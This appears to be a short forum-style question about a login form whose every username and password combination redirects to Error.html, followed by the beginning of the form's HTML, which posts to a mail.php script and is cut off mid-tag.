Name + Pass = Error.html
Name - Pass = Error.html
- Name - Pass = Error.html
- Name + Pass = Error.html

In other words everything goes to Error.html


Form:

<form name="mail.php" method='POST' action="site.com/mail.php">

<br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td
